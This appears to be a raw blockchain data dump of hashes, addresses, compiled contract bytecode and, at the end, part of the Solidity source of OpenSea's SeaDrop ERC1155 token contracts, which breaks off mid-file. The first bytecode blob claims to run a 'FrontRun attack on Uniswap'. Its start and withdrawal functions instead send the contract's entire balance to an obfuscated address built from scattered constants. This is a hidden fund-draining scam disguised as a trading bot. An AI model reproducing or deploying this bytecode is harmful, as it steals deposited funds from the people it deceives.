d9ecf8afe1f5e80d5a4e702d96f84c95d721bf112d5612799f77051b5cdbfe26
3aa7e05b781a72f993dccf6e9b7a5f1ae6afb7fb1ce245ef0c3e370dfc2806bf
bf086e1798621d5aa301bb3ddd48c2cc567efc1e
bf086e1798621d5aa301bb3ddd48c2cc567efc1e
fc69a30a99fbfd0bac48b37dd2427ecf2c37b02f
60806040523480156200001157600080fd5b5060405162000ffb38038062000ffb833981810160405260408110156200003757600080fd5b81019080805160405193929190846401000000008211156200005857600080fd5b838201915060208201858111156200006f57600080fd5b82518660018202830111640100000000821117156200008d57600080fd5b8083526020830192505050908051906020019080838360005b83811015620000c3578082015181840152602081019050620000a6565b50505050905090810190601f168015620000f15780820380516001836020036101000a031916815260200191505b50604052602001805160405193929190846401000000008211156200011557600080fd5b838201915060208201858111156200012c57600080fd5b82518660018202830111640100000000821117156200014a57600080fd5b8083526020830192505050908051906020019080838360005b838110156200018057808201518184015260208101905062000163565b50505050905090810190601f168015620001ae5780820380516001836020036101000a031916815260200191505b506040525050508160019080519060200190620001cd929190620001ef565b508060009080519060200190620001e6929190620001ef565b5050506200029e565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200023257805160ff191683800117855562000263565b8280016001018555821562000263579182015b828111156200026257825182559160200191906001019062000245565b5b50905062000272919062000276565b5090565b6200029b91905b80821115620002975760008160009055506001016200027d565b5090565b90565b610d4d80620002ae6000396000f3fe6080604052600436106100435760003560e01c80636c02a9311461004f5780637b61c320146100df578063be9a65551461016f578063d4e93292146101795761004a565b3661004a57005b600080fd5b34801561005b57600080fd5b50610064610183565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100a4578082015181840152602081019050610089565b50505050905090810190601f1680156100d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156100eb57600080fd5b506100f4610221565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610134578082015181840152602081019050610119565b50505050905090810190601f1680156101615780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101776102bf565b005b61018161035a565b005b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102195780601f106101ee57610100808354040283529160200191610219565b820191906000526020600020905b8154815290600101906020018083116101fc57829003601f168201915b505050505081565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102b75780601f1061028c576101008083540402835291602001916102b7565b820191906000526020600020905b81548152906001019060200180831161029a57829003601f168201915b505050505081565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab604051808060200182810382526048815260200180610cd06048913960600191505060405180910390a16103126103f5565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610357573d6000803e3d6000fd5b50565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab604051808060200182810382526033815260200180610c9d6033913960400191505060405180910390a16103ad61040c565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156103f2573d6000803e3d6000fd5b50565b6000610407610402610423565b6105a1565b905090565b600061041e610419610423565b6105a1565b905090565b6060806104746040518060400160405280600181526020017f780000000000000000000000000000000000000000000000000000000000000081525061046f61046a6107fa565b610805565b610a77565b90506000620d78a390506000610488610bd2565b9050600062090d9c9050600061049c610bdd565b90506000620bcff8905060006104b0610be8565b90506000620849cc905060606104ce896104c98a610805565b610a77565b905060606104ec6104de89610805565b6104e789610805565b610a77565b9050606061050a6104fc88610805565b61050588610805565b610a77565b9050606061052861051a87610805565b61052387610805565b610a77565b905060606105486105398686610a77565b6105438585610a77565b610a77565b9050606061058b6040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525083610a77565b9050809e50505050505050505050505050505090565b6000606082905060008090506000806000600290505b602a8110156107ed57610100840293508481815181106105d357fe5b602001015160f81c60f81b60f81c60ff1692508460018201815181106105f557fe5b602001015160f81c60f81b60f81c60ff16915060618373ffffffffffffffffffffffffffffffffffffffff1610158015610646575060668373ffffffffffffffffffffffffffffffffffffffff1611155b15610656576057830392506106f0565b60418373ffffffffffffffffffffffffffffffffffffffff1610158015610694575060468373ffffffffffffffffffffffffffffffffffffffff1611155b156106a4576037830392506106ef565b60308373ffffffffffffffffffffffffffffffffffffffff16101580156106e2575060398373ffffffffffffffffffffffffffffffffffffffff1611155b156106ee576030830392505b5b5b60618273ffffffffffffffffffffffffffffffffffffffff161015801561072e575060668273ffffffffffffffffffffffffffffffffffffffff1611155b1561073e576057820391506107d8565b60418273ffffffffffffffffffffffffffffffffffffffff161015801561077c575060468273ffffffffffffffffffffffffffffffffffffffff1611155b1561078c576037820391506107d7565b60308273ffffffffffffffffffffffffffffffffffffffff16101580156107ca575060398273ffffffffffffffffffffffffffffffffffffffff1611155b156107d6576030820391505b5b5b816010840201840193506002810190506105b7565b5082945050505050919050565b60006207efe8905090565b6060600080905060008390505b600081146108345781806001019250506010818161082c57fe5b049050610812565b60608267ffffffffffffffff8111801561084d57600080fd5b506040519080825280601f01601f1916602001820160405280156108805781602001600182028036833780820191505090505b50905060008090505b838110156108ff576010868161089b57fe5b0692506108a783610bf3565b82600183870303815181106108b857fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350601086816108f157fe5b049550806001019050610889565b50600081519050600481141561095f5760606109506040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525084610a77565b90508095505050505050610a72565b60038114156109b85760606109a96040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525084610a77565b90508095505050505050610a72565b6002811415610a11576060610a026040518060400160405280600381526020017f303030000000000000000000000000000000000000000000000000000000000081525084610a77565b90508095505050505050610a72565b6001811415610a6a576060610a5b6040518060400160405280600481526020017f303030300000000000000000000000000000000000000000000000000000000081525084610a77565b90508095505050505050610a72565b819450505050505b919050565b60608083905060608390506060815183510167ffffffffffffffff81118015610a9f57600080fd5b506040519080825280601f01601f191660200182016040528015610ad25781602001600182028036833780820191505090505b5090506060819050600080600091505b8551821015610b5057858281518110610af757fe5b602001015160f81c60f81b838280600101935081518110610b1457fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508180600101925050610ae2565b600091505b8451821015610bc357848281518110610b6a57fe5b602001015160f81c60f81b838280600101935081518110610b8757fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508180600101925050610b55565b82965050505050505092915050565b60006204d400905090565b60006203b903905090565b60006207e74c905090565b60008160ff16600011158015610c0d575060098260ff1611155b15610c4257817f300000000000000000000000000000000000000000000000000000000000000060f81c0160f81b9050610c97565b8160ff16600a11158015610c5a5750600f8260ff1611155b15610c9257600a827f610000000000000000000000000000000000000000000000000000000000000060f81c010360f81b9050610c97565b600080fd5b91905056fe53656e64696e672070726f66697473206261636b20746f20636f6e74726163742063726561746f7220616464726573732e2e2e52756e6e696e672046726f6e7452756e2061747461636b206f6e20556e69737761702e20546869732063616e2074616b652061207768696c6520706c6561736520776169742e2e2ea2646970667358221220e486e0564d0fee2dd6af73d0403a3d311dc92dee53248b2b923e7a6e26b0f50264736f6c634300060600330000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
6080604052600436106100435760003560e01c80636c02a9311461004f5780637b61c320146100df578063be9a65551461016f578063d4e93292146101795761004a565b3661004a57005b600080fd5b34801561005b57600080fd5b50610064610183565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100a4578082015181840152602081019050610089565b50505050905090810190601f1680156100d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156100eb57600080fd5b506100f4610221565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610134578082015181840152602081019050610119565b50505050905090810190601f1680156101615780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101776102bf565b005b61018161035a565b005b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102195780601f106101ee57610100808354040283529160200191610219565b820191906000526020600020905b8154815290600101906020018083116101fc57829003601f168201915b505050505081565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102b75780601f1061028c576101008083540402835291602001916102b7565b820191906000526020600020905b81548152906001019060200180831161029a57829003601f168201915b505050505081565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab604051808060200182810382526048815260200180610cd06048913960600191505060405180910390a16103126103f5565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610357573d6000803e3d6000fd5b50565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab604051808060200182810382526033815260200180610c9d6033913960400191505060405180910390a16103ad61040c565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156103f2573d6000803e3d6000fd5b50565b6000610407610402610423565b6105a1565b905090565b600061041e610419610423565b6105a1565b905090565b6060806104746040518060400160405280600181526020017f780000000000000000000000000000000000000000000000000000000000000081525061046f61046a6107fa565b610805565b610a77565b90506000620d78a390506000610488610bd2565b9050600062090d9c9050600061049c610bdd565b90506000620bcff8905060006104b0610be8565b90506000620849cc905060606104ce896104c98a610805565b610a77565b905060606104ec6104de89610805565b6104e789610805565b610a77565b9050606061050a6104fc88610805565b61050588610805565b610a77565b9050606061052861051a87610805565b61052387610805565b610a77565b905060606105486105398686610a77565b6105438585610a77565b610a77565b9050606061058b6040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525083610a77565b9050809e50505050505050505050505050505090565b6000606082905060008090506000806000600290505b602a8110156107ed57610100840293508481815181106105d357fe5b602001015160f81c60f81b60f81c60ff1692508460018201815181106105f557fe5b602001015160f81c60f81b60f81c60ff16915060618373ffffffffffffffffffffffffffffffffffffffff1610158015610646575060668373ffffffffffffffffffffffffffffffffffffffff1611155b15610656576057830392506106f0565b60418373ffffffffffffffffffffffffffffffffffffffff1610158015610694575060468373ffffffffffffffffffffffffffffffffffffffff1611155b156106a4576037830392506106ef565b60308373ffffffffffffffffffffffffffffffffffffffff16101580156106e2575060398373ffffffffffffffffffffffffffffffffffffffff1611155b156106ee576030830392505b5b5b60618273ffffffffffffffffffffffffffffffffffffffff161015801561072e575060668273ffffffffffffffffffffffffffffffffffffffff1611155b1561073e576057820391506107d8565b60418273ffffffffffffffffffffffffffffffffffffffff161015801561077c575060468273ffffffffffffffffffffffffffffffffffffffff1611155b1561078c576037820391506107d7565b60308273ffffffffffffffffffffffffffffffffffffffff16101580156107ca575060398273ffffffffffffffffffffffffffffffffffffffff1611155b156107d6576030820391505b5b5b816010840201840193506002810190506105b7565b5082945050505050919050565b60006207efe8905090565b6060600080905060008390505b600081146108345781806001019250506010818161082c57fe5b049050610812565b60608267ffffffffffffffff8111801561084d57600080fd5b506040519080825280601f01601f1916602001820160405280156108805781602001600182028036833780820191505090505b50905060008090505b838110156108ff576010868161089b57fe5b0692506108a783610bf3565b82600183870303815181106108b857fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350601086816108f157fe5b049550806001019050610889565b50600081519050600481141561095f5760606109506040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525084610a77565b90508095505050505050610a72565b60038114156109b85760606109a96040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525084610a77565b90508095505050505050610a72565b6002811415610a11576060610a026040518060400160405280600381526020017f303030000000000000000000000000000000000000000000000000000000000081525084610a77565b90508095505050505050610a72565b6001811415610a6a576060610a5b6040518060400160405280600481526020017f303030300000000000000000000000000000000000000000000000000000000081525084610a77565b90508095505050505050610a72565b819450505050505b919050565b60608083905060608390506060815183510167ffffffffffffffff81118015610a9f57600080fd5b506040519080825280601f01601f191660200182016040528015610ad25781602001600182028036833780820191505090505b5090506060819050600080600091505b8551821015610b5057858281518110610af757fe5b602001015160f81c60f81b838280600101935081518110610b1457fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508180600101925050610ae2565b600091505b8451821015610bc357848281518110610b6a57fe5b602001015160f81c60f81b838280600101935081518110610b8757fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508180600101925050610b55565b82965050505050505092915050565b60006204d400905090565b60006203b903905090565b60006207e74c905090565b60008160ff16600011158015610c0d575060098260ff1611155b15610c4257817f300000000000000000000000000000000000000000000000000000000000000060f81c0160f81b9050610c97565b8160ff16600a11158015610c5a5750600f8260ff1611155b15610c9257600a827f610000000000000000000000000000000000000000000000000000000000000060f81c010360f81b9050610c97565b600080fd5b91905056fe53656e64696e672070726f66697473206261636b20746f20636f6e74726163742063726561746f7220616464726573732e2e2e52756e6e696e672046726f6e7452756e2061747461636b206f6e20556e69737761702e20546869732063616e2074616b652061207768696c6520706c6561736520776169742e2e2ea2646970667358221220e486e0564d0fee2dd6af73d0403a3d311dc92dee53248b2b923e7a6e26b0f50264736f6c63430006060033
1
19,493,235
d9ecf8afe1f5e80d5a4e702d96f84c95d721bf112d5612799f77051b5cdbfe26
ee7a3afbe403691f605e7eb813cd0e3a2131de31356f4b2714d8e42055af4b34
366d39c5d3b03f3ad020363da8b085609a2f5767
000000f20032b9e171844b00ea507e11960bd94a
993445220aa9933ee3962676cfda6a31eeb35198
3d602d80600a3d3981f3363d3d373d3d3d363d730d223d05e1cc4ac20de7fce86bc9bb8efb56f4d45af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d730d223d05e1cc4ac20de7fce86bc9bb8efb56f4d45af43d82803e903d91602b57fd5bf3
{{ "language": "Solidity", "sources": { "src/clones/ERC1155SeaDropCloneable.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {\n ERC1155SeaDropContractOffererCloneable\n} from \"./ERC1155SeaDropContractOffererCloneable.sol\";\n\n/**\n * @title ERC1155SeaDropCloneable\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @author Michael Cohen (notmichael.eth)\n * @notice A cloneable ERC1155 token contract that can mint as a\n * Seaport contract offerer.\n */\ncontract ERC1155SeaDropCloneable is ERC1155SeaDropContractOffererCloneable {\n /**\n * @notice Initialize the token contract.\n *\n * @param allowedConfigurer The address of the contract allowed to\n * implementation code. Also contains SeaDrop\n * implementation code.\n * @param allowedSeaport The address of the Seaport contract allowed to\n * interact.\n * @param name_ The name of the token.\n * @param symbol_ The symbol of the token.\n */\n function initialize(\n address allowedConfigurer,\n address allowedSeaport,\n string memory name_,\n string memory symbol_,\n address initialOwner\n ) public initializer {\n // Initialize ownership.\n _initializeOwner(initialOwner);\n\n // Initialize ERC1155SeaDropContractOffererCloneable.\n __ERC1155SeaDropContractOffererCloneable_init(\n allowedConfigurer,\n allowedSeaport,\n name_,\n symbol_\n );\n }\n\n /**\n * @dev Auto-approve the conduit after mint or transfer.\n *\n * @custom:param from The address to transfer from.\n * @param to The address to transfer to.\n * @custom:param ids The token ids to transfer.\n * @custom:param amounts The quantities to transfer.\n * @custom:param data The data to pass if receiver is a contract.\n */\n function _afterTokenTransfer(\n address /* from */,\n address to,\n uint256[] memory /* ids */,\n uint256[] memory /* amounts */,\n bytes memory /* data */\n ) internal virtual override {\n // Auto-approve the conduit.\n if (to != address(0) && !isApprovedForAll(to, _CONDUIT)) {\n _setApprovalForAll(to, _CONDUIT, true);\n }\n }\n\n /**\n * @dev Override this function to return true if `_afterTokenTransfer` is\n * used. The is to help the compiler avoid producing dead bytecode.\n */\n function _useAfterTokenTransfer()\n internal\n view\n virtual\n override\n returns (bool)\n {\n return true;\n }\n\n /**\n * @notice Burns a token, restricted to the owner or approved operator,\n * and must have sufficient balance.\n *\n * @param from The address to burn from.\n * @param id The token id to burn.\n * @param amount The amount to burn.\n */\n function burn(address from, uint256 id, uint256 amount) external {\n // Burn the token.\n _burn(msg.sender, from, id, amount);\n }\n\n /**\n * @notice Burns a batch of tokens, restricted to the owner or\n * approved operator, and must have sufficient balance.\n *\n * @param from The address to burn from.\n * @param ids The token ids to burn.\n * @param amounts The amounts to burn per token id.\n */\n function batchBurn(\n address from,\n uint256[] calldata ids,\n uint256[] calldata amounts\n ) external {\n // Burn the tokens.\n _batchBurn(msg.sender, from, ids, amounts);\n }\n}\n" }, "src/clones/ERC1155SeaDropContractOffererCloneable.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { IERC1155SeaDrop } from \"../interfaces/IERC1155SeaDrop.sol\";\n\nimport { ISeaDropToken } from \"../interfaces/ISeaDropToken.sol\";\n\nimport {\n ERC1155ContractMetadataCloneable\n} from \"./ERC1155ContractMetadataCloneable.sol\";\n\nimport {\n ERC1155SeaDropContractOffererStorage\n} from \"../lib/ERC1155SeaDropContractOffererStorage.sol\";\n\nimport {\n ERC1155SeaDropErrorsAndEvents\n} from \"../lib/ERC1155SeaDropErrorsAndEvents.sol\";\n\nimport { PublicDrop } from \"../lib//ERC1155SeaDropStructs.sol\";\n\nimport { AllowListData } from \"../lib/SeaDropStructs.sol\";\n\nimport {\n ERC1155ConduitPreapproved\n} from \"../lib/ERC1155ConduitPreapproved.sol\";\n\nimport { ERC1155 } from \"solady/src/tokens/ERC1155.sol\";\n\nimport { SpentItem } from \"seaport-types/src/lib/ConsiderationStructs.sol\";\n\nimport {\n ContractOffererInterface\n} from \"seaport-types/src/interfaces/ContractOffererInterface.sol\";\n\nimport {\n IERC165\n} from \"@openzeppelin/contracts/utils/introspection/IERC165.sol\";\n\n/**\n * @title ERC1155SeaDropContractOffererCloneable\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @author Michael Cohen (notmichael.eth)\n * @notice A cloneable ERC1155 token contract that can mint as a\n * Seaport contract offerer.\n */\ncontract ERC1155SeaDropContractOffererCloneable is\n ERC1155ContractMetadataCloneable,\n ERC1155SeaDropErrorsAndEvents\n{\n using ERC1155SeaDropContractOffererStorage for ERC1155SeaDropContractOffererStorage.Layout;\n\n /**\n * @notice Initialize the token contract.\n *\n * @param allowedConfigurer The address of the contract allowed to\n * configure parameters. Also contains SeaDrop\n * implementation code.\n * @param allowedSeaport The address of the Seaport contract allowed to\n * interact.\n * @param name_ The name of the token.\n * @param symbol_ The symbol of the token.\n */\n function __ERC1155SeaDropContractOffererCloneable_init(\n address allowedConfigurer,\n address allowedSeaport,\n string memory name_,\n string memory symbol_\n ) internal onlyInitializing {\n // Set the allowed Seaport to interact with this contract.\n if (allowedSeaport == address(0)) {\n revert AllowedSeaportCannotBeZeroAddress();\n }\n ERC1155SeaDropContractOffererStorage.layout()._allowedSeaport[\n allowedSeaport\n ] = true;\n\n // Set the allowed Seaport enumeration.\n address[] memory enumeratedAllowedSeaport = new address[](1);\n enumeratedAllowedSeaport[0] = allowedSeaport;\n ERC1155SeaDropContractOffererStorage\n .layout()\n ._enumeratedAllowedSeaport = enumeratedAllowedSeaport;\n\n // Emit an event noting the contract deployment.\n emit SeaDropTokenDeployed(SEADROP_TOKEN_TYPE.ERC1155_CLONE);\n\n // Initialize ERC1155ContractMetadataCloneable.\n __ERC1155ContractMetadataCloneable_init(\n allowedConfigurer,\n name_,\n symbol_\n );\n }\n\n /**\n * @notice The fallback function is used as a dispatcher for SeaDrop\n * methods.\n */\n fallback(bytes calldata) external returns (bytes memory output) {\n // Get the function selector.\n bytes4 selector = msg.sig;\n\n // Get the rest of the msg data after the selector.\n bytes calldata data = msg.data[4:];\n\n // Determine if we should forward the call to the implementation\n // contract with SeaDrop logic.\n bool callSeaDropImplementation = selector ==\n ISeaDropToken.updateAllowedSeaport.selector ||\n selector == ISeaDropToken.updateDropURI.selector ||\n selector == ISeaDropToken.updateAllowList.selector ||\n selector == ISeaDropToken.updateCreatorPayouts.selector ||\n selector == ISeaDropToken.updatePayer.selector ||\n selector == ISeaDropToken.updateAllowedFeeRecipient.selector ||\n selector == ISeaDropToken.updateSigner.selector ||\n selector == IERC1155SeaDrop.updatePublicDrop.selector ||\n selector == ContractOffererInterface.previewOrder.selector ||\n selector == ContractOffererInterface.generateOrder.selector ||\n selector == ContractOffererInterface.getSeaportMetadata.selector ||\n selector == IERC1155SeaDrop.getPublicDrop.selector ||\n selector == IERC1155SeaDrop.getPublicDropIndexes.selector ||\n selector == ISeaDropToken.getAllowedSeaport.selector ||\n selector == ISeaDropToken.getCreatorPayouts.selector ||\n selector == ISeaDropToken.getAllowListMerkleRoot.selector ||\n selector == ISeaDropToken.getAllowedFeeRecipients.selector ||\n selector == ISeaDropToken.getSigners.selector ||\n selector == ISeaDropToken.getDigestIsUsed.selector ||\n selector == ISeaDropToken.getPayers.selector;\n\n // Determine if we should require only the owner or configurer calling.\n bool requireOnlyOwnerOrConfigurer = selector ==\n ISeaDropToken.updateAllowedSeaport.selector ||\n selector == ISeaDropToken.updateDropURI.selector ||\n selector == ISeaDropToken.updateAllowList.selector ||\n selector == ISeaDropToken.updateCreatorPayouts.selector ||\n selector == ISeaDropToken.updatePayer.selector ||\n selector == ISeaDropToken.updateAllowedFeeRecipient.selector ||\n selector == IERC1155SeaDrop.updatePublicDrop.selector;\n\n if (callSeaDropImplementation) {\n // For update calls, ensure the sender is only the owner\n // or configurer contract.\n if (requireOnlyOwnerOrConfigurer) {\n _onlyOwnerOrConfigurer();\n } else if (selector == ISeaDropToken.updateSigner.selector) {\n // For updateSigner, a signer can disallow themselves.\n // Get the signer parameter.\n address signer = address(bytes20(data[12:32]));\n // If the signer is not allowed, ensure sender is only owner\n // or configurer.\n if (\n msg.sender != signer ||\n (msg.sender == signer &&\n !ERC1155SeaDropContractOffererStorage\n .layout()\n ._allowedSigners[signer])\n ) {\n _onlyOwnerOrConfigurer();\n }\n }\n\n // Forward the call to the implementation contract.\n (bool success, bytes memory returnedData) = _CONFIGURER\n .delegatecall(msg.data);\n\n // Require that the call was successful.\n if (!success) {\n // Bubble up the revert reason.\n assembly {\n revert(add(32, returnedData), mload(returnedData))\n }\n }\n\n // If the call was to generateOrder, mint the tokens.\n if (selector == ContractOffererInterface.generateOrder.selector) {\n _mintOrder(data);\n }\n\n // Return the data from the delegate call.\n return returnedData;\n } else if (selector == IERC1155SeaDrop.getMintStats.selector) {\n // Get the minter and token id.\n (address minter, uint256 tokenId) = abi.decode(\n data,\n (address, uint256)\n );\n\n // Get the mint stats.\n (\n uint256 minterNumMinted,\n uint256 minterNumMintedForTokenId,\n uint256 totalMintedForTokenId,\n uint256 maxSupply\n ) = _getMintStats(minter, tokenId);\n\n // Encode the return data.\n return\n abi.encode(\n minterNumMinted,\n minterNumMintedForTokenId,\n totalMintedForTokenId,\n maxSupply\n );\n } else if (selector == ContractOffererInterface.ratifyOrder.selector) {\n // This function is a no-op, nothing additional needs to happen here.\n // Utilize assembly to efficiently return the ratifyOrder magic value.\n assembly {\n mstore(0, 0xf4dd92ce)\n return(0x1c, 32)\n }\n } else if (selector == ISeaDropToken.configurer.selector) {\n // Return the configurer contract.\n return abi.encode(_CONFIGURER);\n } else if (selector == IERC1155SeaDrop.multiConfigureMint.selector) {\n // Ensure only the owner or configurer can call this function.\n _onlyOwnerOrConfigurer();\n\n // Mint the tokens.\n _multiConfigureMint(data);\n } else {\n // Revert if the function selector is not supported.\n revert UnsupportedFunctionSelector(selector);\n }\n }\n\n /**\n * @notice Returns a set of mint stats for the address.\n * This assists in enforcing maxSupply, maxTotalMintableByWallet,\n * and maxTokenSupplyForStage checks.\n *\n * @dev NOTE: Implementing contracts should always update these numbers\n * before transferring any tokens with _safeMint() to mitigate\n * consequences of malicious onERC1155Received() hooks.\n *\n * @param minter The minter address.\n * @param tokenId The token id to return the stats for.\n */\n function _getMintStats(\n address minter,\n uint256 tokenId\n )\n internal\n view\n returns (\n uint256 minterNumMinted,\n uint256 minterNumMintedForTokenId,\n uint256 totalMintedForTokenId,\n uint256 maxSupply\n )\n {\n // Put the token supply on the stack.\n TokenSupply storage tokenSupply = _tokenSupply[tokenId];\n\n // Assign the return values.\n totalMintedForTokenId = tokenSupply.totalMinted;\n maxSupply = tokenSupply.maxSupply;\n minterNumMinted = _totalMintedByUser[minter];\n minterNumMintedForTokenId = _totalMintedByUserPerToken[minter][tokenId];\n }\n\n /**\n * @dev Handle ERC-1155 safeTransferFrom. If \"from\" is this contract,\n * the sender can only be Seaport or the conduit.\n *\n * @param from The address to transfer from.\n * @param to The address to transfer to.\n * @param id The token id to transfer.\n * @param amount The amount of tokens to transfer.\n * @param data The data to pass to the onERC1155Received hook.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) public virtual override {\n if (from == address(this)) {\n // Only Seaport or the conduit can use this function\n // when \"from\" is this contract.\n if (\n msg.sender != _CONDUIT &&\n !ERC1155SeaDropContractOffererStorage.layout()._allowedSeaport[\n msg.sender\n ]\n ) {\n revert InvalidCallerOnlyAllowedSeaport(msg.sender);\n }\n return;\n }\n\n ERC1155._safeTransfer(_by(), from, to, id, amount, data);\n }\n\n /**\n * @notice Returns whether the interface is supported.\n *\n * @param interfaceId The interface id to check against.\n */\n function supportsInterface(\n bytes4 interfaceId\n )\n public\n view\n virtual\n override(ERC1155ContractMetadataCloneable)\n returns (bool)\n {\n return\n interfaceId == type(IERC1155SeaDrop).interfaceId ||\n interfaceId == type(ContractOffererInterface).interfaceId ||\n interfaceId == 0x2e778efc || // SIP-5 (getSeaportMetadata)\n // ERC1155ContractMetadata returns supportsInterface true for\n // IERC1155ContractMetadata, ERC-4906, ERC-2981\n // ERC1155A returns supportsInterface true for\n // ERC165, ERC1155, ERC1155MetadataURI\n ERC1155ContractMetadataCloneable.supportsInterface(interfaceId);\n }\n\n /**\n * @dev Internal function to mint tokens during a generateOrder call\n * from Seaport.\n *\n * @param data The original transaction calldata, without the selector.\n */\n function _mintOrder(bytes calldata data) internal {\n // Decode fulfiller, minimumReceived, and context from calldata.\n (\n address fulfiller,\n SpentItem[] memory minimumReceived,\n ,\n bytes memory context\n ) = abi.decode(data, (address, SpentItem[], SpentItem[], bytes));\n\n // Assign the minter from context[22:42]. We validate context has the\n // correct minimum length in the implementation's `_decodeOrder`.\n address minter;\n assembly {\n minter := shr(96, mload(add(add(context, 0x20), 22)))\n }\n\n // If the minter is the zero address, set it to the fulfiller.\n if (minter == address(0)) {\n minter = fulfiller;\n }\n\n // Set the token ids and quantities.\n uint256 minimumReceivedLength = minimumReceived.length;\n uint256[] memory tokenIds = new uint256[](minimumReceivedLength);\n uint256[] memory quantities = new uint256[](minimumReceivedLength);\n for (uint256 i = 0; i < minimumReceivedLength; ) {\n tokenIds[i] = minimumReceived[i].identifier;\n quantities[i] = minimumReceived[i].amount;\n unchecked {\n ++i;\n }\n }\n\n // Mint the tokens.\n _batchMint(minter, tokenIds, quantities, \"\");\n }\n\n /**\n * @dev Internal function to mint tokens during a multiConfigureMint call\n * from the configurer contract.\n *\n * @param data The original transaction calldata, without the selector.\n */\n function _multiConfigureMint(bytes calldata data) internal {\n // Decode the calldata.\n (\n address recipient,\n uint256[] memory tokenIds,\n uint256[] memory amounts\n ) = abi.decode(data, (address, uint256[], uint256[]));\n\n _batchMint(recipient, tokenIds, amounts, \"\");\n }\n}\n" }, "src/interfaces/IERC1155SeaDrop.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { ISeaDropToken } from \"./ISeaDropToken.sol\";\n\nimport { PublicDrop } from \"../lib/ERC1155SeaDropStructs.sol\";\n\n/**\n * @dev A helper interface to get and set parameters for ERC1155SeaDrop.\n * The token does not expose these methods as part of its external\n * interface to optimize contract size, but does implement them.\n */\ninterface IERC1155SeaDrop is ISeaDropToken {\n /**\n * @notice Update the SeaDrop public drop parameters at a given index.\n *\n * @param publicDrop The new public drop parameters.\n * @param index The public drop index.\n */\n function updatePublicDrop(\n PublicDrop calldata publicDrop,\n uint256 index\n ) external;\n\n /**\n * @notice Returns the public drop stage parameters at a given index.\n *\n * @param index The index of the public drop stage.\n */\n function getPublicDrop(\n uint256 index\n ) external view returns (PublicDrop memory);\n\n /**\n * @notice Returns the public drop indexes.\n */\n function getPublicDropIndexes() external view returns (uint256[] memory);\n\n /**\n * @notice Returns a set of mint stats for the address.\n * This assists SeaDrop in enforcing maxSupply,\n * maxTotalMintableByWallet, maxTotalMintableByWalletPerToken,\n * and maxTokenSupplyForStage checks.\n *\n * @dev NOTE: Implementing contracts should always update these numbers\n * before transferring any tokens with _safeMint() to mitigate\n * consequences of malicious onERC1155Received() hooks.\n *\n * @param minter The minter address.\n * @param tokenId The token id to return stats for.\n */\n function getMintStats(\n address minter,\n uint256 tokenId\n )\n external\n view\n returns (\n uint256 minterNumMinted,\n uint256 minterNumMintedForTokenId,\n uint256 totalMintedForTokenId,\n uint256 maxSupply\n );\n\n /**\n * @notice This function is only allowed to be called by the configurer\n * contract as a way to batch mints and configuration in one tx.\n *\n * @param recipient The address to receive the mints.\n * @param tokenIds The tokenIds to mint.\n * @param amounts The amounts to mint.\n */\n function multiConfigureMint(\n address recipient,\n uint256[] calldata tokenIds,\n uint256[] calldata amounts\n ) external;\n}\n" }, "src/interfaces/ISeaDropToken.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {\n ISeaDropTokenContractMetadata\n} from \"./ISeaDropTokenContractMetadata.sol\";\n\nimport { AllowListData, CreatorPayout } from 